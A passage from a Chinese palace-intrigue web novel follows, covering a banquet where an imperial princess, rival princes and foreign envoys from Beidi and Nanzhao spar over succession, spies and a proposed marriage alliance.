“好啊,你竟敢指责皇长兄行事!此举简直有违纲常,就不怕御史参你吗?” …… 成王与礼王二人吵得有来有回,声音也越来越大。 赵元婴见状忙来至二人面前,温声道:“这楼上便是两国使者所在之地,二位殿下都是贵客,长公主就要到了,两位还是赶紧与我上楼吧!” 礼王闻言这才悻悻住了嘴,头也不回的往楼上走去。 高若馨神色忐忑的来至成王身边,怯生生道:“煜表哥……” 成王看了她一眼,怪道:“馨儿怎么会和大皇兄同乘?他一贯针对本王,你又不是不知,你此番与他一道前来岂非故意给本王难堪?!” “表哥误会了!” 高若馨瞧了瞧周围,压低声音道:“祖父一接到长公主设宴的消息便立刻叫人去通知煜表哥,谁料此事亦被礼王的眼线探知,为防他坏了表哥的事若馨不惜以身试险、用自己的车驾于之相撞,好将礼王留于芙蓉楼之外。谁料礼王着实蛮横,他明知撞了人却依旧不肯停下脚步,甚至不惜将若馨绑上车、与之随行……” 成王闻言皱起眉,低声斥道:“你也太胡闹了!朝政之事与你一介闺阁女子何干?本王便是再不堪也不会将自己的妹妹当做登天的阶梯!” “都怪祖父将你宠的不知天高地厚,堂堂宰相府的嫡女,你以身犯险,就不怕将自己的名声毁了吗……” 商廷煜还想继续骂,一抬眼却见表妹死死咬着唇、眼中含着一泡泪,神态倔强又可怜。 他不由叹了口气——这丫头也是为了自己,无论如何也要给她留上几分颜面才是! 思及此处他一甩袖子,叹道:“罢了,你好好跟在本王身后!” “大皇兄他如此侮辱馨儿,待宴席结束本王再与他好好清算!” 高若馨抹了把眼睛,这才垂头跟在成王后头往楼上走。 一抹得色从她垂下的眼中闪过,快的叫人无法察觉。 ----------------- 坐于二楼的皮劫逻低声笑道:“阿南你听见没有,强盛如大辉亦免不了同室操戈,当真可笑!” 阿南忙一本正经的低声附和:“公子说的不错,大国有大国的强、小国有小国的好,咱们南诏虽只是个属国,可大公主与王爷姐弟之间却甚是和睦;大公主管理起国事来雷厉风行,而咱们王爷只顾自己逍遥、从来不担心有朝一日姐姐会取自己而代之,这才叫一方之王的福气……” 皮劫逻将手中随手往他头上一敲,故作凶恶道:“臭小子,南诏王睚眦必报,你竟敢私下议论他,就不怕他将你抽筋剥皮、挂到王宫外头去晒成干尸?” 阿南闻言憨笑不止,“南诏王确实睚眦必报,可小的腿脚快、想来王爷手下的护卫捉不住小的……” “本王乃是大辉皇帝陛下的皇长子,尊驾可是北狄大王子?久仰王子大名,今日一见果真英武不凡!” 阿南朝皮劫逻使了个眼色,低声取笑道:“公子瞧见没?辉人的大皇子压根儿就没将咱们南诏放在眼里,一上楼看也不看咱们这边,直接就奔着北狄人去了!还说自己是大国,小人都替他丢人……” 皮劫逻看着朝自己走来的成王和赵元婴,忙用扇子掩住嘴,低声道:“那是他礼王没见识!瞧,那贤奸柔诈的成王不就来寻咱们了吗?” “你好好待在一旁,看本公子如何应付他!” 第一百七十七章 无耻无德 “内算官之子皮劫逻见过大辉成王殿下!” 看着朝自己一躬到地的南诏公子,成王商廷煜忙伸手相扶,口中谦和道:“此处又不是太极殿,尊使不必多礼!” 皮劫逻闻言微微一笑,“王爷好生随和,南诏人姓氏繁琐,殿下便称呼下官的名字吧!” 成王忙道:“如此是否太过无礼了……” 赵元婴思索片刻,“既然是私宴,咱们便称南诏特使一声公子如何?” 皮劫逻点了点头,“如此甚好!” 成王在他身边坐了下来,轻声道:“内算官大人怎地没来?一别经年,本王倒想念他的紧!” 皮劫逻便道:“都怪我没见过世面。此番是我平生第一遭来大辉,我自是不愿窝在那狭小的驿馆中,本想着随便出来逛逛,谁知偏巧碰上出行的长公主——南诏百姓皆听过天命神女的威名,我亦听闻不久前殿下在司命祭礼上斩杀蛟妖、为大辉祈下无边洪福的壮举,能见到殿下便是我前世修来福份,因此才自不量力的拦了长公主的马车……” 成王笑道:“没想到公子还有颗赤子之心!好在无忧她不是矫情之人,若是本王的亲妹妹被你拦住,可是会打人的!” 皮劫逻勾了勾唇,“您说的可是淑妃娘娘所出的那位三公主?公主身份尊贵,骄纵些也是难免的……” 成王又说了些场面话,这才唤出芙蓉楼的葛掌柜,当着众人的面嘱咐了他一番,要他务必招待好诸位贵客。 葛掌柜忙恭谨的作了个揖,“北狄、南诏的使者何等尊贵?又是长公主和王爷的座上宾,小人便是长了十个脑袋也断不敢怠慢!刚才小的便亲自去厨房查看了菜式与酒水,虽说咱们芙蓉楼的吃食比不上宫中御宴,可小人有信心,今日必叫各位贵客满意而归!” “歌姬、舞姬们已准备完毕,随时听候贵人们的招呼!” 见那掌柜只对成王和南诏人献殷勤,夏云骁颇为不满。他瞥了眼坐在一旁的礼王商煦鹏,语带挑拨道:“若本王子没记错礼王殿下才是辉帝的长子,怎么这人只对成王毕恭毕敬,倒将礼王晾在一边?若有不知情的,还以为成王比您更尊贵呢!” 闻言礼王的脸色沉了下来,还未等他开口,却听一旁的高若馨道:“礼王殿下前些日子犯了些小错,陛下已将之降为郡王;虽然礼王是成王的兄长,可亲王高于郡王,表兄如今的确要更尊贵些!世人皆趋炎附势,掌柜这幅嘴脸倒也说得通了……” 礼王狠狠瞪了她一眼! 这个贱人,怎么哪壶不开提哪壶?! 夏云骁挑了挑眉,“说到底也是皇长子,怎么就落到被降位的地步了?” 高若馨不顾礼王凶狠的目光,柔声道:“还不是都是因为得罪了长公主的缘故,长公主如今可是陛下面前第一得宠之人,得罪了她便是皇子也要受惩罚!” 坐在一旁喜滋滋看着侍从们端上各式各样菜肴的夏锦澜闻言忙道:“大辉的长公主竟真的这般厉害?我在北狄时便听说,不论是说后宫嫔妃、还是前朝臣子,长公主想收拾谁就收拾谁,这是真的吗?” 高若馨巴不得抹黑商无忧的名声,闻言忙道:“这话不错,长公主是被陛下惯坏了,她为人嚣张跋扈又心狠手辣,京城中若有谁一不小心得罪了她,就算不死也要脱层皮……” 夏锦澜闻言双眼一亮,忙接过话头道:“我听说一对男女在宫中幽会被她撞破,二人便欲杀人灭口;长公主一气之下先是将女子削去头发丢入水中,随后又砍断了男子的手脚筋。听说当时宫内血流成河,竟有人被当场吓死了!” 夏锦澜肉嘟嘟的脸上一片兴味,神秘兮兮道:“我听说那女子是淑妃的侄女呢,父亲是当朝丞相;而那偷情的世家子弟,本来是要求娶长公主的!” “事后皇帝连半句重话都没对长公主说,倒是以‘约束亲眷不利’的罪名禁了淑妃的足。一介公主竟能将位同副后的淑妃压制至此,你道好不好笑……” 高若馨脸色一白。 姑母还说能管好宫里人的舌头,可如今这闲话竟然都传到北狄去了! 她就说姑母无能,难怪连陆氏那三品之家的女儿都压不住…… 礼王闻言只哼了一声—— 高若馨好生歹毒,她轻飘飘几句话,既贬低了自己这皇长子、又顺道拉踩了无忧,当真一石二鸟! 只可惜人算不如天算,如今她的丑事被北狄公主公然讲了出来,他倒要看看这贱丫头究竟要如何下台! 夏锦澜对高若馨的尴尬恍若未觉,只一脸兴奋的追问道:“你能与大皇子同乘,想来也是这洛阳城中的高门贵女。不如你来与我说说,后来那对偷情的野鸳鸯如何了?长公主有没有杀了他们泄愤?” 高若馨脸色愈发难看,她狠狠剜了一眼面前一脸八卦胖嘟嘟的北狄女子,寒声道:“非礼勿言,你这北狄女子怎的这般没有德行?竟敢在皇子面前大放厥词,就不怕被降罪吗?” 夏锦澜莫名其妙的盯着眼前一脸愤怒的少女,怪道:“我不过是问上两句,怎就扯到女子德行上去了?是你说长公主心狠手辣,我才这样追问的啊!” “要说德行,那对偷情的男女才真叫无耻无德,我不过就事论事,大皇子还没什么,你怎地就先恼了……” 说着低声咕哝道:“辉人女子果真矫情……” “我大辉女子并非各个都如高小姐这般矫情!” 赵元婴说着轻轻举起手中杯,朝夏锦澜道:“这位姑娘倒是个爽快人,长公主最喜这般性格,待会儿她来了你可愿与她喝上一杯?” ?高若馨恍若被人一巴掌甩在脸上,双目又酸又疼—— 赵元婴竟这般维护那疯婆子,那她的举动岂不是成了自取其辱?! 不行、她不能认输! 高若馨冷冷瞥了夏锦澜一眼,恨恨道:“你以为自己在跟谁说话?!本小姐是丞相之女,我可不管你是不是北狄来的,冒犯丞相之女者必受严惩!” 见那女子态度如此嚣张,夏云骁将脸一沉,随后将手中酒杯重重朝桌上一搁,冷冷道:“丞相之女算个什么东西,难到我北狄的六公主还没你个臣子之女尊贵?!” 第一百七十八章 公主驾到 “本王子可不管你父亲是何人,若不速速滚过来与我王妹赔罪,本王子今日必叫你好看!” 高若馨面色一肃。 她还以为那北狄女子与自己一样,都是臣子的女儿,没想到竟是个公主! 可当着意中人赵元婴的面,高高在上的丞相府嫡女怎能对旁人低头?! 高若馨将头一偏,不屑道:“公主又如何?是她失礼在先,还是该公主先向我致歉才是!” 夏锦澜挑了挑眉,“我不过向你打听些事,如何就失礼了……” “难道公主不知,你口中无耻无德、与人偷情的女子,便是眼前之人吗?高若馨是相爷的嫡孙女,淑妃的亲侄女,公主竟然不认识?” 随着略带嘲讽的清冷女声响起,芙蓉楼一众奴婢登时忙碌起来。 赵元婴闻言忙朝春山低声吩咐道:“去将东西拿来!” 夏锦澜忙抬头看去,却见下人们手脚麻利的将芙蓉楼上下必经之路铺上了织金的地毯,而宁国公身旁那位侍卫则不慌不忙的捧过一张白虎皮,稳稳的铺在二楼唯一一张主座的下方。 “长公主殿下万安!” 不多时,一个高挑又清瘦的女子缓缓走上楼来。 她内着素色短襦,身披大红色长裙,满头青丝被支嵌玉花金簪高高绾起——簪头上兰花的三层花瓣乃白玉所制,中间镶着颗硕大的红宝石;其下接一只镶蓝宝石的金垒丝蝴蝶,蝴蝶翅膀两端各有一颗垒丝小金球,行止间不断轻摆,十分灵动;最下端连缀圆形花饰,花心处一颗红宝石,周围饰八片金垒丝叶片,端的是华贵无比! 女子双耳缀东珠,颈上戴累丝九凤钿口链,手腕处一对九龙戏珠镯;她气度高绝,赤着双如玉般白嫩的双足,一步步踏上楼来。 众人忙不迭拜道:“长公主万安!” 赵元婴笑着迎上前来,轻轻托住她伸出的柔荑,笑道:“殿下来迟了,叫两国使者和二位王爷好等!” “国公爷勿怪,吾本该早些来的,谁料这一路上竟有人探头缩脑之人跟在身后,本宫断见不得这些猥琐行径,索性叫身边侍卫将人拿了,” 商无忧说着瞥了眼不远处的礼王和成王,冷哼一声道:“本宫怎么不记得自己请了这么多人?早知有不速之客,本宫就不来了……” 说着头也不回的走向当的位子,就着那张华丽的白虎皮、以当仁不让的气势坐了下来。 礼王面色一僵! 这个无忧,当着自己这兄长的面怎地这般没大没小?! 就算她今日是东道主,这主位也该让给自己这长兄来坐才是!皇子们还在,那个位子怎地也轮不到她个公主来坐! 看着礼王一脸不悦之色,成王笑着垂下了头。 大皇兄就是这般拎不清! 无忧从小便最受父皇偏爱,若不是懿慈皇后亲生的皇子不幸薨逝,这太子之位又怎会轮到他们二人来肖想? 今日谁坐主位有什么要紧?! 只要能顺利摸清两国使团来意,实在没必要在小事上斤斤计较! 眼见成王不做声,礼王也只好压下心头不满,抬起头朝商无忧道:“什么人竟敢惹的长公主不快?无忧你只需告知皇兄那人名号,凭他什么高门显贵,日后皇兄必会替你出气!” 商无忧撇了撇嘴,冷冷道:“倒也不必等到日后,皇兄也知我的眼里不揉沙子,今日索性将那些讨厌之人一并审问了吧!” “卫真,将人带上来!” 礼王只见父皇身边那沉默寡言的高大侍卫押着两个人走上楼来,忽的大喝一声—— “跪下!” 铁风抬眼看了那二人一眼,这才不着痕迹的凑到礼王耳边,低声道:“王爷,左边那个是咱们的探子。” 礼王一愣,忙悄声道:“他怎么会被人捉住……” “说,你们两个獐头鼠目的家伙,跟在本宫身后到底意欲何为?” 其中一人先是抬眼看了看高若馨,又瞥了眼成王,这才小心翼翼道:“小人任职校事府,因最近两国使团抵京,为免京中骚乱,上头特意命小人行注意使者行动,还请长公主明察!” 成王心中一动,看来这是高相的人,便道:“既是校事,可有令牌?” 那人忙道:“令牌就在小人怀中!” 成王点了点头,“长公主查上一查,便知此人真假。” 卫真一把拉过那人,不由分说朝他怀中摸去,不多时掏出个铜制的牌子,但见上头绘着只龇牙咧嘴的虎头,卫真见状便朝商无忧点了点头。 成王见状忙道:“校事府有监察百官之责,既然此人身份无误,长公主放了他便是!” 赵元婴则道:“殿下说此人探头缩脑,不知是有何得罪之处?” 商无忧伸手朝那人一指,语气森然道:“校事府又如何?!陛下有旨,校事府乃为监察不法官员、稳定朝政而设,什么时候允准你们私下探听皇族中人行事了?!” “你当街跟着本宫便罢了,本宫回府更衣、你竟偷偷潜入府内探查本宫私隐,该当何罪?” 皇帝再怎么多疑也不会明面里下旨叫校事府监察皇室中人,那人一时有口难辩,成王便道:“虽说此人行事荒唐了些,还请长公主念在其公事在身,便饶了他这一回吧!” 商无忧冷笑道:“本宫不怕父皇派人看着我,却防不住有人在暗中使绊子!” 卫真无言上前,一把拉过那校事的左臂使劲一扭,随后刺啦一声撕开他的衣衫,但见此人左臂内侧竟刻了个“升”字。 “你臂上的字是什么意思,还要本宫亲口说给你听吗?” 那校事咬牙垂头不语。 高无忧见状也不生气,只懒懒的朝卫真道:“去将给高若馨赶车那个小厮带进来。” 成王心头升起一丝警觉,忙道:“今日公主设宴款待两国来使,未免坏了兴致,不如过后再审……” 卫真毫无半丝迟疑,不多时便提着那小厮赶了上来。 待那小厮左臂内侧的“升”字出现在众人眼前,高若馨额上大滴大滴的汗水便落了下来——没想到祖父竟会在她身边安插暗人,此人竟是她贴身侍婢的亲哥哥! 商无忧一手轻拨着耳上的东珠,冷冷笑道:“升既是高,高便是升!高相当真权倾朝野,竟敢私自让人探查皇室动向,高子霖是否有不臣之心?!” 第一百七十九章 醒酒之用 你胡说!” 高若馨立时不住反唇相讥,“那人身上明明是个‘升’字,你凭什么说他是祖父的人?” “哦?” 商无忧看都懒得看她一眼,“既然不是丞相派来的,你又如何解释他二人身上都被烙铁烙出同一个字,不仅字体相同、甚至连字的大小都分毫不差?!” “这……或许是他二人之前有什么渊源也未可知,总之你不能只凭相同的烙印便断定他们是我高家人……” 商无忧点了点头,“说的也有道理,既如此便劳烦大皇兄带人将高家一众人等查验一番,看是否还有人左臂上烙着同样的‘升’字!” 高若馨心头一凉,厉声道:“堂堂宰相府,你凭什么带人去搜?便是祖父犯了罪,也要陛下下旨、顺天府才敢派人来抄家,长公主这是想越过陛下去吗?” 好个高若馨,竟敢用父皇来压她! 商无忧她一脸兴味的托着腮,歪着头道:“本宫何时说过抄家?是高小姐说不能只凭两人身上有同一种印记便断定他们是一伙的,本宫还不是想给高相个台阶,这才请大皇兄出手去高家寻人的,莫非小姐心虚了?!” 那双碧眼一瞬不瞬的望向面前一脸谨慎的高若馨,忽的寒声道:“与本宫说话也敢‘你’来‘你’去,看来高子霖果然没将我商氏皇族放在眼里,难怪教出你这般本目无尊的龌龊东西!” 商无忧瞟了眼一旁的专心与桌上的佳肴战斗的夏锦澜,沉声道:“本宫听闻你刚刚还出言冒犯了北狄公主?如此不懂礼数之人,当真将我大辉女子的脸面都丢尽了。按理本该将你掌嘴二十,可高子霖毕竟是丞相,成王又是你的表兄,本宫也该给皇兄几分面子才是……” 说道此处她看了眼红珠,红珠会意,忙从袖中拿出一只晶莹剔透的玉杯放在高若馨眼前,笑道:“此乃皇后娘娘的七宝琉璃盏,本是陛下御赐,因见殿下十分喜爱,皇后娘娘便将之赏给殿下。今日饮宴,长公主特意从宫中取了一壶‘同艳’,此物以葡萄所制,初饮时略有酸涩之气,唯有醒上半个时辰后味道才最佳!” “高小姐今日实在太过无礼,可殿下宽厚,愿意看在高相和成王的面子上对小姐网开一面。掌嘴就免了,只要小姐替咱们殿下醒一醒这同艳,殿下便既往不咎!” 醒酒?! 那东西放一放便好,何必非要人去醒? 红玉见她一脸狐疑,又道:“宫中酿酒的匠人说了,这酒要喝一杯醒一杯,若是一直放着,香味可就跑光了!且醒酒的方式又极为特别,需一位美人跪着将之举过头顶,一炷香后饮用方为最佳。” 说着便从福童手中取过酒壶,亲自将壶中紫红色的液体倒入琉璃盏中,随即将之举至高若馨面前,笑道:“小姐乃绝代佳人,您请!” 当着这么多人将此物跪着举过头顶一炷香,商无忧当她是什么?! 若真如此行事,她堂堂宰相之女,日后再京中一众贵女中还有什么脸面?! 高若馨怒从中来,抬起手就朝面前杯盏抚去;红玉微微一闪,俯下身来轻声劝道:“您若失手打碎了御赐之物,相爷也就要吃不了兜着走了!您已惹下大祸,若还不思悔改,就不怕我家殿下亲自入相府去寻那烙有‘升’字之人吗?倒是只怕丞相大人无法收场!” 高若馨的心猛地一滞。 她不怕商无忧针锋相对,可那人毕竟是个疯子,若真的一怒之下闯入府中将暗人寻了出来,这犯上的罪名高家便担定了! 到时便是祖父也担不住了…… 可她实在不甘! 她抬眼朝成王望去,却见成王与身旁南诏使者低声细语着什么,竟全然对自己的窘境熟视无睹;她心下一酸,又求救的朝礼王看去,而礼王正与北狄大王子推杯换盏,竟似完然未注意到自己这边的情况! 红玉笑道:“高小姐看什么呢?礼王与高相是政敌,成王殿下惯会明哲保身,今日他们能与两国使者相聚,都是因为我家长公主。目的还未达到,他们怎么敢与殿下闹翻?” 说着她将手中琉璃盏往前一送,低声道:“奴婢劝您还是赶快过去跪着吧,总比挨巴掌好!” 见无人理睬自己,高若馨只得白着脸站起身来,不情不愿的从红珠手中接过琉璃盏,目带怨恨的跪了下去。 腮帮子一股一股的夏锦澜见状,忙不迭朝晨露道:“你替我去向长公主讨一杯‘同艳’,请高小姐一同醒上一醒!” 高若馨闻言身子一僵,商无忧却着意看了夏锦澜一眼,语带兴味道:“公主好似十分喜欢这芙蓉楼的菜肴,要不要本宫叫人再给您添上一些?” 夏锦澜闻言忙将口中菜咽了下去,带着一丝兴奋道:“别的不要,这鱼再来一份!” 见她如此直率,商无忧不由笑道:“六公主喜欢鱼脍?这芙蓉楼的鱼脍用的是松江鲈鱼,其肉白、肉质松软、没有腥气;他家的厨子刀工极好,切出的鱼缕细、片薄,再配以梅子、橘皮、栗肉等混合而成的 ‘鲙齑’,当真务必鲜美!” 夏锦澜点了点头,“我们北狄人不食生,我从想过生鱼竟会是这般滋味……” “没见过世面的丫头,太后宫中便有从辉人处学来的鱼脍,你自己没吃过,也敢说北狄没有此菜,就不怕辉人看不起本王子?” 夏云骁厌恶的瞪了眼夏锦澜,低声斥道:“虽说是赴宴,可你却一直吃个没完,瞧瞧你胖的这个样子!还说是北狄公主,简直是饿死鬼托生,本王的脸都让你丢尽了!” 夏锦澜垂头不语,手下的筷子却依旧未停。 商无忧瞧着她有趣,便朝红玉道:“将六公主的位子换到本宫身边来,叫葛掌柜再上两份鱼脍,本宫也喜欢的紧!” 说完才朝成王道:“高家的眼目还请成王兄带回去给高相处置吧!” 第一百八十章 如此倒好办了! “至于另一人,便由大皇兄带回去吧!” 礼王面色一沉,“獐头鼠目之辈,本王带回去作甚……” “大哥,你我兄妹是自幼的情谊;虽自母后去后刻意与我疏远,但你毕竟是由母后亲自抚养长大,我这才对你百般隐忍……” 商无忧说着猛的将衣袖一挥,怒道:“若不是看在母后的份上,你以为你还能坐稳这郡王之位?!私自派人监视本宫的一举一动,这事若是换做旁人,我定要他永世不能翻身!皇兄难道忘了,本宫一身本事出自方寸山,难道真要本宫当着众人的面将人审问此人?!” 商无忧一双碧眼冷冷注视着面色赤红的礼王,寒声道:“以后皇兄若有什么想知道的大可直接来问我,犯不着使这些不入流的手段,平白玷污了母后的圣名!” 礼王咬了咬牙,面无表情的示意铁风将人带下去,心中却责怪起商无忧当着成王和两国使者的面让他下不来台。 商无忧一看便知他执迷不悟,索性不再与他说话,举起酒杯朝下座诸人道:“今日有缘与两国使者相聚,本宫实该尽地主之谊,今日咱们不谈国事,唯望诸位尽兴而归!” 赵元婴与众人满饮杯中酒,这才朝葛掌柜摆了摆。 “歌舞起!” 丝竹管弦之声渐起,歌姬、舞姬一拥而上,芙蓉楼内霎时一片欢声笑语。 “本王敬公子一杯!” 见成王朝自己举杯,皮劫逻忙道:“臣官职低微,怎当得起王爷敬酒?” “公子年少有为又何必自谦?来,咱们一起喝一杯!” 酒过三巡,成王这才道:“不知南诏使团此次入京意欲何为?” 皮劫逻微微一笑,“王爷,刚刚长公主不是说了吗,今日不谈正事,下官只想安心赴宴,不敢扫长公主殿下的兴。” 成王温声道:“长公主一介女流,她的话公子原不必放在心上!本王听闻南诏于边境增兵,是否是想与大辉一较高下?” 皮劫逻面露惊恐,“殿下说笑了,南诏各部怎敢与大辉为敌?实在是曹衡欺人太甚,他纵兵侵扰边民,吾王实在看不过眼,这才与之针锋相对……” “原来如此,本王还以为南诏与北狄同时增兵,是约好了一起向大辉示威呢!” 成王意有所指的朝夏云骁那边看了一眼,低声道:“恕本王直言,北狄人一贯言而无信——洛阳城外会盟之事他们便出尔反尔,有意诳了南诏一回;如今公子已进了洛阳帝都,南诏今后究竟要何去何从、公子也该替令尊和南诏王打算起来才是!” 皮劫逻闻言叹了口气,“我也知北狄大王子不足为信,为了避嫌他竟将自个身旁护卫的手生生砍了下来,这样的人不堪为伍。可北狄毕竟是强国,南诏国力不堪与之匹敌,大国之意谁敢违拗呢……” 在成王看来,眼前之人实在年轻,他经不住哄又扛不住吓,自己几句话便将他的实话套了出来。 他温声道:“北狄与南诏相距甚远,中间还隔着半个大辉,南诏王还怕北狄人打过来不成?” “王爷有所不知,这北狄人甚是狡诈,半年前他们就派人入了我国王城,出重金贿赂了各部官员,还给吾王送了五千良驹;吾王对朝政本就不上心,重礼之下当即便对北狄人生出了好感,再加上被贿赂的官员一起在吾王耳边为北狄人唱赞歌,吾王也就放下戒心与北狄人相交了!” 皮劫逻说着面带愁苦,“吾父与大公主也曾劝过陛下,可吾王却说‘南诏物产不丰、疆域不阔,既然北狄肯给咱们好处,那听他们的!’” 成王不由冷笑。 原来南诏人此行是来敲竹杠的! 如此倒好办了! 他往皮劫逻身旁凑了凑,低声道:“大辉与南诏毗邻而居,又素来交好,断没有为北狄人而反目成仇的道理!且南诏本就是大辉属国,若是南诏六部有什么困难,公子不妨与本王说上一说;本王必会对父皇言明,你我两国自此和睦,对百姓们亦免去战乱之苦,如此岂非美事一桩?” 皮劫逻闻言慌忙站起身,朝着成王深施一礼,语带感激道:“成王殿下真乃菩萨心肠,下官待我家王爷多谢殿下了!” 成王需扶了他一把,温声道:“公子快别拘礼,说不定本王日后还有事要烦劳南诏王,您如此客气倒叫本王汗颜了……” 俯下身的皮劫逻露出一抹玩味的笑容,天下没有免费的午餐,成王果然是醉翁之意不在酒!便道:“成王殿下但有所命,下官莫敢不从!” 成王闻言笑的和煦,拉着他的手道:“好说、好说!” ----------------- “成王倒是与南诏人走得近!” 听见夏云骁不咸不淡的调侃,礼王笑道:“叫王子见笑了,本王这个弟弟一向上不得台面,还望王子勿怪!” 说着忙示意身旁蛮女为夏云骁倒酒,这才道:“使团入京本是为结盟之事,不知贵国为何忽然在边境增兵?大王子乃是未来的储君,您前脚出使敌国、北狄十万铁骑便兵压冀州,难道就不怕危及王子安危?” 听闻此言,夏云骁也是一肚子气—— 真不知道太后她老人家是怎么想的,似出使敌国这般危险之事,为何偏偏让他这父皇钦定的储君来做? 二王叔和五王叔不是已经来了吗?! 偏他离开王都后才接到太后密信——此行一来是要除去玄王、二来是为与南诏联手压大辉低头、好为他挣得个勇猛、睿智的贤名! 待得知玄王犯在辉人手中,他这才暗自松了一口气——二王叔母家势大、又勇武异常,因之屡次征战沙场,在军中中极具号召力,要想不着痕迹的除去此人着实难办。 如今他落入辉人手中,想必会九死一生,如此自己反倒省事了! 谁料五王叔为救玄王,竟亲自写下血书、以自身性要挟父皇使之以十万边军大军威慑大辉放人;父皇与五王叔兄弟情深,不得已只得答应了王叔。 玄王是放出来了,可他这北狄大王子却成了不受辉人待见之人! 夏云骁不愿意在礼王面前示弱,便道:“增兵而已、又不是真的交手,大辉也算兵强马壮,辉帝也未必会将北狄这十万大军放在眼里。” 第一百八十一章 我要嫁给谁呢 礼王闻言忙道:“可北狄此番毕竟是为结盟而来,父皇又是多疑之人,本王是怕大王子会吃暗亏!” 说着他以眼神瞟向二楼主座,压低声音道:“此次北狄使团中有两位亲王、一位王子与公主,排场不可谓不大;可先前二位亲王入京时便在长公主手上吃了亏,五皇子更是沦为京中百姓茶余饭后的谈资;而大王子入城之时更是险些丧命……” 见夏云骁面色阴沉,礼王这才叹道:“王子不知,如今我这皇妹已成了父皇心尖儿上的人,整个商氏皇族子女加起来也没有她一人得宠!再加上前些日子无忧复了镇国公主之位、得了参政之权,她的所作所为极有可能是父皇在背后授意。” “再加上前些日子北狄与南诏联手的传闻,本王是怕大王子您走不出这洛阳城……” 夏云骁心头一沉。 他昂头饮下杯中酒,这才道:“太后的意思本王子晓得——既是两国结盟总要分出个高低强弱才是,屯兵边境不过是想给使团壮壮声势。北狄不会与南诏联合,南诏王才有多少兵马,北狄如何看得上?” 他看了看不远处六公主圆润的面庞,忽的下了决心。 他举起手中杯与礼王酒杯相碰,趁势低声道:“北狄自是想与大辉修好,如若不然太后又何必让六公主与使团一道出行……” 这话着实意味深长,礼王闻言双眼一亮! 听夏云骁的意思,北狄竟是有意与大辉联姻?! 好、好、好! 北狄如此强势,若此番他能成功娶到六公主,太子之位岂不成了他囊中之物? 思及此处他笑容满面的端起面前玉壶,亲自为夏云骁斟了酒,这才兴奋道:“本王与大王子投缘,来来来,咱们今日便要将这结盟酒喝透……” ----------------- “长公主的两位兄长果然都是长袖善舞之人,他们与两国使臣聊得投机,倒是将长公主这东道主晾在一旁……” 商无忧未搭言,她歪着身子靠在身后软榻之上,神态悠然的把玩着手中的七宝琉璃盏,朝一旁的红珠道:“这酒不错,叫高小姐再替本宫醒上一杯!” 夏锦澜见状亦道:“我也要一杯。” 商无忧以手支头,懒懒道:“六公主还真是不见外,也不知你是真的天性率真、还是故意在本宫面前演戏?” 夏锦澜一口饮尽杯中的“同艳”,神情豪迈的啧了也一声,低声道:“我本性率真不假,却也不是个没心眼儿的;我母亲早逝,若不是靠着一手装傻充愣的本事,只怕早就死在后宫的争斗中了……” 商无忧深以为然,“这话不错,世人都以为皇室子女金尊玉贵,可谁又知道这尊贵后头藏着多少无情和无奈……” 夏锦澜取过面前甜瓜咬了一口,瞬时满口清甜,她忍不住狠狠啃了两口,这才道:“依殿下看,您这两位皇兄谁人能坐上太子位?” 红玉诧异的瞥了她一眼,暗道这北狄公主倒真是语不惊人死不休,长公主看她有趣这才肯给了几分颜面,谁想她竟如此不见外,竟在殿下面前大放厥词起来! 商无忧不屑的撇了撇嘴,“他们一个面甜心苦、一个翻脸无情,若叫这样的人登上太子位,大辉的气数算是尽了!” “那公主看好哪位皇子?” “除了成王与礼王,余下皇子皆未成年;魏淑媛的孩子亦未出生,本宫实在看不出谁人将来有这个造化。” “如此倒是难办了!” 夏锦澜叹了口气,托着腮茫然道:“礼王和成王都不是好人选,那我要嫁给谁呢……” 商无忧眸光倏然一凝,“六公主说什么?” 夏锦澜未搭言,歪着头继续探问道:“听说淑妃还有一子,未击成年便被册封为王,想来极受辉帝喜爱,不如我便嫁给他吧?” 商无忧闻言碧眸中闪过一道寒光,寒声道:“闵王还不到十岁,不过是个乳臭未干的臭小子,待到他能娶妻,六公主只怕已熬老姑娘了!” 晨露气鼓鼓把眼一瞪——这辉人公主好生无礼,六公主不过有感而发,她凭什么笑话人?! 转念一想却又觉得不对——六公主怎能将此次出使的目的这般随意的说了出来,若是叫大王子知道了可怎么得了?! 正疑惑间,却见夏锦澜苦笑一声,“您说的对,我等不了这么久……看来此番只能在礼王与成王这两个无德之人中选一个做夫婿了……” 商无忧无言瞧了她片刻,这才道:“你将联姻之事告知本宫,究竟所图为何?” “殿下无需多心,我不过是想提前给自己寻一条生路罢了。” 夏锦澜看着不远处正眉开眼笑与礼王说话的兄长,寒声道:“说的好听,什么金枝玉叶、什么天之骄女,不过一颗棋子罢了!太后和父皇先是要将我推给南诏王,后又想将我嫁入大辉皇室,他们从来没问过我究竟想要什么。” “父皇从来没想过,若是有朝一日两国兵戎相见,我这个嫁入敌国的公主会是个什么下场……” “父皇虽无情,我却不想任人摆布、落个凄凉悲惨的下场。” 夏锦澜说着转过头直直望向商无忧,口气虽轻声音却坚定:“长公主乃大辉天命神女,还请您为锦澜指点迷津!” 商无忧闻言不由轻笑出声,“你我两国相争多年,北狄皇帝亦在我手中吃过亏,你凭什么认定本宫会帮你?” “我与父皇感情不深。” 夏锦澜目中毫无自怜之色,语气淡漠的仿佛只是在陈述一个毫不关己事实。 “父皇原是个不得宠的皇子,无甚权势,我母亲亦不过是个伺候人的宫女。后来当今太后得了宠,父皇便奋起争位。有一回他被人迫害险些丢了性命,因此连夜出逃,出生不久的我和母亲被他丢在宫外……后来母亲被政敌杀死,而我则是由宫里的婆子拉扯长大。” “从小到大,我见父皇的次数一只手便数得过来。他对我弃之不顾我不怨,用我做棋子我也不恼;反正我也从未将他当做父亲,从小到大、与我亲近的不过只有婆婆和身边这个丫头而已。” “父皇如何对我不要紧,可我却要为自己和她们争一条活路!” 第一百八十二章 “难为六公主将话说的这般可怜,只可惜本宫不是心软之人。” 商无忧微笑着换了个姿势,她接过红玉递过的酒杯,朝着夏锦澜慵懒的道:“有道是多一事不如少一事。你也看到了,本宫如今虽炙手可热,却也如同被人架在火炉上烤——如今多少人的眼睛都盯在本宫身上,本宫防着那起子小人还来不及,哪还有时间去管旁人的闲事?” 说着朝不远处陪在礼王身旁的赵元婴举起酒杯,遥遥对饮了一口,她这才轻声道:“本宫的夫婿宁国公,其祖上世代与北狄人为敌。如今我二人也算举案齐眉,若为了帮你而得罪了赵家,本宫往后只怕要失去依仗,如此自毁长城之举本宫万不会做!” 说着便将话题一转,六公主既喜欢这芙蓉楼的美食,只管叫葛掌柜再上,本宫有些不适,便不久陪了。” 见她起身要走,夏锦澜心头一急,忙道:“长公主请留步!” 